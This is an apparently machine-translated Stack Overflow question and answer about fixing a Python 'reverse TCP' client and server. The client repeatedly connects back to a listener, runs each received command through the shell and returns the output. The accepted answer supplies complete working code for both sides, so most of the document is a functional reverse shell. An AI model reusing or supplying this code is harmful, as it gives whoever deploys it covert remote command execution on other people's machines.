【问题标题】:TCP Server not receiving anything after initial connection. PythonTCP 服务器在初始连接后没有收到任何内容。 Python
【发布时间】:2015-06-17 07:41:00
【问题描述】:

所以,我一直在试验 Python 的套接字模块,并创建了一个简单的 TCP 客户端/服务器设置。一切都在同一个系统(Win7x64)上运行,在 ip 192.168.1.3

这是客户端(这是一个反向 TCP 连接):

import socket, subprocess, time

me = '192.168.1.3'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
while True:
    try:
        s.connect((me, port))
        break
    except:
        time.sleep(1)
s.send('[*] Connected!')

while True:     
     data = s.recv(1024)
     output = subprocess.check_output(data, shell=True)
     s.send(output)     
s.close()

这是服务器:

import socket

host = '0.0.0.0'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

def handler(client):
    req = client.recv(1024)
    print 'Recieved: %s' % req
    command = raw_input('> ')
    print 'Sending: %s' % command
    client.send(command)
    #client.close()

while True:
    client,addr = s.accept()
    print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
    client_handler = threading.Thread(target=handler,args=(client,))
    client_handler.start()

这是我在服务器上收到的输出:

Accepted connection from: 192.168.1.3:61147
Recieved: [*] Connected!
Sending: *example command*

然后它就挂在那里。无论我让客户发送什么,它都不会收到它。命令在客户端成功,但没有发回输出。

停下来?

编辑:我已经设法通过将函数中的内容封装在一个循环中来获得服务器接收到的命令的输出:

def handler(client):
while True:
    req = client.recv(1024)
    print 'Recieved: %s' % req
    command = raw_input('> ')
    print 'Sending: %s' % command
    client.send(command)

所以,如果我发送一个 dir 命令,我会收到一次输出。但是在尝试发送另一个命令时,我得到了这个:

    Exception in thread Thread-1:
Traceback (most recent call last):
  File "C:\Python27\lib\threading.py", line 810, in __bootstrap_inner
    self.run()
  File "C:\Python27\lib\threading.py", line 763, in run
    self.__target(*self.__args, **self.__kwargs)
  File "C:\Users\Jami\Documents\Awn\Eclipse USB     Backup\Extracted\Programming\Python\Random Shit\ReverseShell\receiver.py", line 13, in handler
    req = client.recv(1024)
error: [Errno 10053] An established connection was aborted by the software in your host machine

编辑:

有人可以推荐一种替代方法吗?我想做的是让服务器1.向客户端发送命令,2.客户端执行它,3.发回输出,4.服务器接收的输出。并且一直持续到用户停止为止。

【问题讨论】:

  • 你没有在服务器中读取结果。
  • 客户端的目的是将结果发送到服务器,所以是的,我确实在服务器上读取了结果。这是一个反向 TCP 连接。 @丹尼尔
  • 不在您发布的代码中!
  • 一旦s被连接,它只会在handler被调用时接收一次。之后它只会尝试接受新的连接。因此,为了让客户端不断与服务器对话,它必须反复关闭连接并重新打开它。也许您应该 recv 与您的新套接字实例循环。 (免责声明:我不擅长使用套接字)
  • 建议@Daniel ?

标签: python sockets tcp client server


【解决方案1】:

TCP 是一种流协议。因此,您需要某种消息格式进行通信。其次,您需要一个循环来发送命令并读取结果。在客户端,您还需要某种消息协议来发送结果。我使用 json 编码的字符串和换行符作为消息结束字符。

服务器:

import socket
import threading
import json

host = '0.0.0.0'
port = 1332

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(5)

def handler(client):
    print 'Recieved: %s' % client
    sock_input = client.makefile('r')
    while True:
        command = raw_input('> ')
        if command == 'exit':
            break
        print 'Sending: %s' % command
        client.sendall(command + '\n')
        print json.loads(next(sock_input))
    client.close()

def main():
    while True:
        client,addr = s.accept()
        print 'Accepted connection from: %s:%d' % (addr[0], addr[1])
        client_handler = threading.Thread(target=handler,args=(client,))
        client_handler.start()

if __name__ == '__main__':
    main()

客户:

import socket
import subprocess
import time
import json

me = 'localhost'
port = 1332

def main():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((me, port))
            break
        except Exception, e:
            print e
            time.sleep(1)
    sock_input = s.makefile('r')
    for command in sock_input:
         try:
             output = subprocess.check_output(command, shell=True)
         except:
             output = 'Could not execute.'
         s.sendall(json.dumps(output)+'\n')
    s.close()

if __name__ == '__main__':
    main()

【讨论】:

  • 我在客户端添加了对错误命令的处理:try: output = subprocess.check_output(command, shell=True) except: output = 'Could not execute command.'
【解决方案2】:

Shashank 是对的,一旦它接收到一次数据,它就会返回接受循环。

如果您想在接受新连接的同时继续接收此客户端,您应该考虑创建一个线程来处理连接,然后在您的主线程中继续接受新连接。

【讨论】:

  • OP 没有告诉他要接受并行连接。
  • 那么您会推荐一种替代方法吗?我想做的是让服务器1.发送命令,2.客户端执行它,3.发回输出,4.服务器接收的输出。并一直持续到它停止。
  • 我也将 handler(client) 替换为:client_handler = threading.Thread(target=handler,args=(client,)) client_handler.start()
猜你喜欢
  • 1970-01-01
  • 2021-05-09
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2013-04-19
  • 2017-03-21
相关资源
最近更新 更多